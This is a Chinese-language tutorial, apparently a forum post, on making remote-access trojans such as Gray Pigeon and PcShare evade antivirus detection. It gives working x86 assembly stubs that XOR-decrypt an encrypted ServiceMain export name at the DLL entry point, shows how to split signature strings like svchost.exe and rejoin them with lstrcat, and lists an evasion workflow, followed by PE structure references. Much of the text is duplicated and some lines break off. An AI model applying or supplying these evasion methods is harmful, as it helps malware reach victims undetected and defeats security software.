那么如何修改ServiceMain输出函数名且正常运行呢,这里,我喜欢加密的方法。我们对我们的ServiceMain输出函数命进行一个简单的加密,然后在dll开始的部分在进行解密,这样不就做到了躲避杀软的方法吗。。
首先ollydbg载入PcMain.dll,然后向下找0区域,然后我们加入我们的加密代码。
这里我简要的说明下代码。
1. 首先保存我们的寄存器环境。
通过
pushad
popad
然后 我们加入代码
其实这里大家可以运行一遍,此时运行后我们的ServiceMain已经是加密了,然后我们在将.rdata区段数据保存。然后修改.rdata的区段属性为可读可写属性。
修改入口点位我们加入的代码的偏移,此时loader加载后就会进行解密。。
这里给出一个DLL的例子。。
我来给大家解释下吧,错与对还请大家评论。
嘿嘿!
pushad 和popad作用是为了保存当前寄存器的状况。
call $+5 ; 机器码为E8 00 00 00 00
看机器码,个人认为没什么意思吧,像个NOP
pop eax 这个很简单,EAX出栈,为什么要出栈,刚才不是全部压进去了吗?
因为我们后面的一些操作要用到它这个东东。
xor ax, ax
这几句代码是求我们的基地址 但是由于我们写入的偏移量前面是以1001开头的,所以接下来我们加入rva的时候要减去10000。
上面这段话已经说明了。我就不多说了。
add eax, 3b05h ;3b05h为ServiceMain输出函数名字符串的偏移 (意思就找到输出函数名的内存地址。下面用到嘛)
xchg eax, esi
mov edi, esi
很简单,不用我多说了吧,不会的去查汇编指令。
lods byte ptr ds:[esi] LODS就是取字符串元素指令,大家调试下就知道了。
假如我们加密后的字符串是“A”,那么ESI所指向的内存地址就是下一个字符串的地址了,他是一个字母一个字符的取的。
or al, al (这个是结合下面的一个JE的,因为。晕了怎么说好呢。大家看一下这个函数的最后都是00 00 吧,当我们取完字符串后,也就是解密完成后,循环到这里的时候,OR就是与运算是吧,意思就是是1结果才是1,那么这是零,后面的跳转就当然跳了)
je XXXXXXXX
xor al, 18h 异或运算,重点吧。18是16进制,可以随便改的。
stos byte ptr es:[edi] 这个stos 和LODS相反,既然它取,那么这个就是放的。就是说,经过上面的xor al, 18h 加密后,再放进去,一个一个的解密。
jmp short 1.10011B3F 一个跳,循环结构,但是当解密完成的时候,这个跳会被JE跳转,程序正常运行。
最后POP出栈
恢复之前的寄存器状态。
再最后一个跳到入口点,执行程序。简单。
数据段ASCII字符串内存动态恢复
对于棘手的ASCII字符串,我们还可以使用数据段ASCII字符串内存动态恢复的方法,这里也贴出代码
动态合并法
虽然说不是加密.但是也是利用了内存动态恢复的原理滥生出来的技术吧.. .
简单说明就是:
kernel32.lstrcat这个函数可以对两个push进行合并.
用法: push 456
push 123
call dword ptr ds:[xxxx]xxxx是输入表对kernel32.lstrcat的数
结果会在123的后面多出456 合并成 123456
具体怎么利用不会说明
简单的打比方就是
当特征码为svchost.exe的时候. (打比方.)
那我们就可以这样拆分. svch 和 ost.exe那样杀软怎么都不会叫了吧.
然后通过内存动态合并.
用法.
最近很多人说瑞星总是杀输出表的ServiceMain名称,由于ServiceMain输出函数并不是提供给我们的loader来进行调用的,它是在dll内部调用的,这也是大家在loader中找不到ServiceMain字符串的原因。
那么如何修改ServiceMain输出函数名且正常运行呢,这里,我喜欢加密的方法。我们对我们的ServiceMain输出函数命进行一个简单的加密,然后在dll开始的部分在进行解密,这样不就做到了躲避杀软的方法吗。。
首先ollydbg载入PcMain.dll,然后向下找0区域,然后我们加入我们的加密代码。
这里我简要的说明下代码。
1. 首先保存我们的寄存器环境。
通过
pushad
popad
然后 我们加入代码
其实这里大家可以运行一遍,此时运行后我们的ServiceMain已经是加密了,然后我们在将.rdata区段数据保存。然后修改.rdata的区段属性为可读可写属性。
修改入口点位我们加入的代码的偏移,此时loader加载后就会进行解密。。
这里给出一个DLL的例子。。
我来给大家解释下吧,错与对还请大家评论。
嘿嘿!
pushad 和popad作用是为了保存当前寄存器的状况。
call $+5 ; 机器码为E8 00 00 00 00
看机器码,个人认为没什么意思吧,像个NOP
pop eax 这个很简单,EAX出栈,为什么要出栈,刚才不是全部压进去了吗?
因为我们后面的一些操作要用到它这个东东。
xor ax, ax
这几句代码是求我们的基地址 但是由于我们写入的偏移量前面是以1001开头的,所以接下来我们加入rva的时候要减去10000。
上面这段话已经说明了。我就不多说了。
add eax, 3b05h ;3b05h为ServiceMain输出函数名字符串的偏移 (意思就找到输出函数名的内存地址。下面用到嘛)
xchg eax, esi
mov edi, esi
很简单,不用我多说了吧,不会的去查汇编指令。
lods byte ptr ds:[esi] LODS就是取字符串元素指令,大家调试下就知道了。
假如我们加密后的字符串是“A”,那么ESI所指向的内存地址就是下一个字符串的地址了,他是一个字母一个字符的取的。
or al, al (这个是结合下面的一个JE的,因为。晕了怎么说好呢。大家看一下这个函数的最后都是00 00 吧,当我们取完字符串后,也就是解密完成后,循环到这里的时候,OR就是与运算是吧,意思就是是1结果才是1,那么这是零,后面的跳转就当然跳了)
je XXXXXXXX
xor al, 18h 异或运算,重点吧。18是16进制,可以随便改的。
stos byte ptr es:[edi] 这个stos 和LODS相反,既然它取,那么这个就是放的。就是说,经过上面的xor al, 18h 加密后,再放进去,一个一个的解密。
jmp short 1.10011B3F 一个跳,循环结构,但是当解密完成的时候,这个跳会被JE跳转,程序正常运行。
最后POP出栈
恢复之前的寄存器状态。
再最后一个跳到入口点,执行程序。简单。
数据段ASCII字符串内存动态恢复
对于棘手的ASCII字符串,我们还可以使用数据段ASCII字符串内存动态恢复的方法,这里也贴出代码
动态合并法
虽然说不是加密.但是也是利用了内存动态恢复的原理滥生出来的技术吧.. .
简单说明就是:
kernel32.lstrcat这个函数可以对两个push进行合并.
用法: push 456
push 123
call dword ptr ds:[xxxx]xxxx是输入表对kernel32.lstrcat的数
结果会在123的后面多出456 合并成 123456
具体怎么利用不会说明
简单的打比方就是
当特征码为svchost.exe的时候. (打比方.)
那我们就可以这样拆分. svch 和 ost.exe那样杀软怎么都不会叫了吧.
然后通过内存动态合并.
用法.
pushad
call $+5 ; 机器码为E8 00 00 00 00
pop eax
xor ax, ax ;这几句代码是求我们的基地址 但是由于我们写入的偏移量前面是以1001开头的,所以接下来我们加入rva的时候要减去10000。
add eax, 3b05h ;3b05h为ServiceMain输出函数名字符串的偏移
xchg eax, esi
mov edi, esi
@@:
lodsb
or al, al
je @f
xor al, 18h
stosb
jmp @b
@@:
popad
jmp 入口点
call $+5 ; 机器码为E8 00 00 00 00
pop eax
xor ax, ax ;这几句代码是求我们的基地址 但是由于我们写入的偏移量前面是以1001开头的,所以接下来我们加入rva的时候要减去10000。
add eax, 3b05h ;3b05h为ServiceMain输出函数名字符串的偏移
xchg eax, esi
mov edi, esi
@@:
lodsb
or al, al
je @f
xor al, 18h
stosb
jmp @b
@@:
popad
jmp 入口点
100118FE 60 pushad
100118FF 90 nop
10011900 E8 00000000 call 10011905
10011905 58 pop eax
10011906 2D 05190110 sub eax, 10011905
1001190B 05 E0400110 add eax, 100140E0
10011910 C700 53655368 mov dword ptr [eax], 68536553
10011916 61 popad
10011917 ^ E9 C7FBFFFF jmp 100114E3
100118FF 90 nop
10011900 E8 00000000 call 10011905
10011905 58 pop eax
10011906 2D 05190110 sub eax, 10011905
1001190B 05 E0400110 add eax, 100140E0
10011910 C700 53655368 mov dword ptr [eax], 68536553
10011916 61 popad
10011917 ^ E9 C7FBFFFF jmp 100114E3
pushxxxxx //ost.exe的地址,o的地址.因为他开头嘛
pushxxxxx //接下来的当然是剩下的svch的地址了.
call dword ptr ds:[] //这个kernel32.lstrcat的地址需要自己手动在IAT查找.
我的免杀步骤
现在有不少人拿到***进行免杀就马上去定位,这种对于热门的远控会浪费大量的时间,比如鸽子,pcshare,几十个特征码,定位都会定几个小时,于是,我们可以在定位之前做一些工作.
1.改变区段名
2.移动输出表(如有)
3.重建输入表
3.移动重定位节
4.静态的加密代码数据段
5.改入口点或去头加花
这样再定位,特征会少很多,相对的修改就更加容易
附:
PE头部结构
DOS 头部结构定义
//word 与 UNSHORT 等效
输出表结构
叙述下输入表构建过程。
1. 编译器编译我们的源代码,这时候会产生一个obj文件,obj文件包含了我们调用这些函数的公共符号。链接器在链接的时会从导入库中读取与公共符号相匹配的函数名,然后构建输入表结构,并修正相关调用绑定地址。
而输入表结构呢,我们的PE头结构的数据目录段结构第二个成员指向的则为输入表结构,所以一般我们移动输入表一定要修改其数据目录段所指向的偏移和大小。
本总结收集的很多网上大牛们的文章,我知识有限,还在学习之中,所以肯定有很多漏洞与不足,希望大家能够及时指出,感激不尽。。。
pushxxxxx //接下来的当然是剩下的svch的地址了.
call dword ptr ds:[
我的免杀步骤
现在有不少人拿到***进行免杀就马上去定位,这种对于热门的远控会浪费大量的时间,比如鸽子,pcshare,几十个特征码,定位都会定几个小时,于是,我们可以在定位之前做一些工作.
1.改变区段名
2.移动输出表(如有)
3.重建输入表
3.移动重定位节
4.静态的加密代码数据段
5.改入口点或去头加花
这样再定位,特征会少很多,相对的修改就更加容易
附:
PE头部结构
DOS 头部结构定义
//word 与 UNSHORT 等效
输出表结构
叙述下输入表构建过程。
1. 编译器编译我们的源代码,这时候会产生一个obj文件,obj文件包含了我们调用这些函数的公共符号。链接器在链接的时会从导入库中读取与公共符号相匹配的函数名,然后构建输入表结构,并修正相关调用绑定地址。
而输入表结构呢,我们的PE头结构的数据目录段结构第二个成员指向的则为输入表结构,所以一般我们移动输入表一定要修改其数据目录段所指向的偏移和大小。
本总结收集的很多网上大牛们的文章,我知识有限,还在学习之中,所以肯定有很多漏洞与不足,希望大家能够及时指出,感激不尽。。。
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE 头结构定义开始 文件中的位置(偏移量)
WORD e_magic; // 魔术数字 ASCII字符MZ 0x00000000-0x00000001
WORD e_cblp; // 文件最后页的字节数 0x00000002-0x00000003
WORD e_cp; // 文件页数 0x00000004-0x00000005
WORD e_crlc; // 重定位元素个数 0x00000006-0x00000007
WORD e_cparhdr; // 以段落为单位的头部大小 0x00000008-0x00000009
WORD e_minalloc; // 所需的最小附加段 0x0000000A-0x0000000B
WORD e_maxalloc; // 所需的最大附加段 0x0000000C-0x0000000D
WORD e_ss; // 初始的堆栈段(SS)相对偏移量值 0x0000000E-0x0000000F
WORD e_sp; // 初始的堆栈指针(SP)值 0x00000010-0x00000011
WORD e_csum; // 校验和 0x00000012-0x00000013
WORD e_ip; // 初始的指令指针(IP)值 0x00000014-0x00000015
WORD e_cs; // 初始的代码段(CS)相对偏移量值 0x00000016-0x00000017
WORD e_lfarlc; // 重定位表在文件中的偏移地址 0x00000018-0x00000019
WORD e_ovno; // 覆盖号 0x0000001A-0x0000001B
WORD e_res[4]; // 保留字(一般都是为确保对齐而预留) 0x0000001C-0x00000023
WORD e_oemid; // OEM 标识符(相对于 e_oeminfo) 0x00000024-0x00000025
WORD e_oeminfo; // OEM 信息,即 e_oemid 的细节 0x00000026-0x00000027
WORD e_res2[10]; // 保留字(一般都是为确保对齐而预留) 0x00000028-0x0000003B
LONG e_lfanew; // 新 exe 头在文件中的偏移地址 0x0000003C-0x0000003F
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
WORD e_magic; // 魔术数字 ASCII字符MZ 0x00000000-0x00000001
WORD e_cblp; // 文件最后页的字节数 0x00000002-0x00000003
WORD e_cp; // 文件页数 0x00000004-0x00000005
WORD e_crlc; // 重定位元素个数 0x00000006-0x00000007
WORD e_cparhdr; // 以段落为单位的头部大小 0x00000008-0x00000009
WORD e_minalloc; // 所需的最小附加段 0x0000000A-0x0000000B
WORD e_maxalloc; // 所需的最大附加段 0x0000000C-0x0000000D
WORD e_ss; // 初始的堆栈段(SS)相对偏移量值 0x0000000E-0x0000000F
WORD e_sp; // 初始的堆栈指针(SP)值 0x00000010-0x00000011
WORD e_csum; // 校验和 0x00000012-0x00000013
WORD e_ip; // 初始的指令指针(IP)值 0x00000014-0x00000015
WORD e_cs; // 初始的代码段(CS)相对偏移量值 0x00000016-0x00000017
WORD e_lfarlc; // 重定位表在文件中的偏移地址 0x00000018-0x00000019
WORD e_ovno; // 覆盖号 0x0000001A-0x0000001B
WORD e_res[4]; // 保留字(一般都是为确保对齐而预留) 0x0000001C-0x00000023
WORD e_oemid; // OEM 标识符(相对于 e_oeminfo) 0x00000024-0x00000025
WORD e_oeminfo; // OEM 信息,即 e_oemid 的细节 0x00000026-0x00000027
WORD e_res2[10]; // 保留字(一般都是为确保对齐而预留) 0x00000028-0x0000003B
LONG e_lfanew; // 新 exe 头在文件中的偏移地址 0x0000003C-0x0000003F
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; //标志的结合
DWORD TimeDateStamp; //文件的创建时间
WORD MajorVersion; //米什么用处,总是设置为0
WORD MinorVersion; //米什么用,总是设置为0
DWORD Name; //模块名称的RVA
DWORD Base; //被本模块引出的函数的起始序数 1
DWORD Characteristics; //标志的结合
DWORD TimeDateStamp; //文件的创建时间
WORD MajorVersion; //米什么用处,总是设置为0
WORD MinorVersion; //米什么用,总是设置为0
DWORD Name; //模块名称的RVA
DWORD Base; //被本模块引出的函数的起始序数 1
DWORD NumberOfFunctions; //模块引出的函数的总数/符号的总数
DWORD NumberOfNames; //模块中一个指向所有函数名的RVA数组,本成员旧时指向的所有函数名RVA数组
DWORD AddressOfFunctions; // RVA from base of p_w_picpath
DWORD AddressOfNames; // RVA from base of p_w_picpath
DWORD AddressOfNameOrdinals; // RVA from base of p_w_picpath
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
DWORD NumberOfNames; //模块中一个指向所有函数名的RVA数组,本成员旧时指向的所有函数名RVA数组
DWORD AddressOfFunctions; // RVA from base of p_w_picpath
DWORD AddressOfNames; // RVA from base of p_w_picpath
DWORD AddressOfNameOrdinals; // RVA from base of p_w_picpath
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
输入表结构
typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; DWORD OriginalFirstThunk; //指向输入名称表的RVA 地址。 }; DWORD TimeDateStamp; //32位时间标志 DWORD ForwarderChain; // 一般为0 没什么用 DWORD Name; //指向引入的dll名称的RVA DWORD FirstThunk; //指向输入地址表(iat)的RVA地址 } IMAGE_IMPORT_DESCRIPTOR; 引入几个DLL就有几个这样的_IMAGE_IMPORT_DESCRIPTOR 结构。(简称IID) OriginalFirstThunk和FirstThunk指向的数组一般指向相同的结构。 IMAGE_IMPORT_DESCRIPTOR IMAGE_IMPORT_BY_NAME +--------------------+ +--> +------------------+ +----------------------+ INT | OriginalFirstThunk | --+ | IMAGE_THUNK_DATA | --> | 023B | ExitProcess | <--+ | | IAT | |FirstThunk| ------------ | IMAGE_THUNK_DATA | ---------
叙述下输入表构建过程。
1. 编译器编译我们的源代码,这时候会产生一个obj文件,obj文件包含了我们调用这些函数的公共符号。链接器在链接的时会从导入库中读取与公共符号相匹配的函数名,然后构建输入表结构,并修正相关调用绑定地址。
而输入表结构呢,我们的PE头结构的数据目录段结构第二个成员指向的则为输入表结构,所以一般我们移动输入表一定要修改其数据目录段所指向的偏移和大小。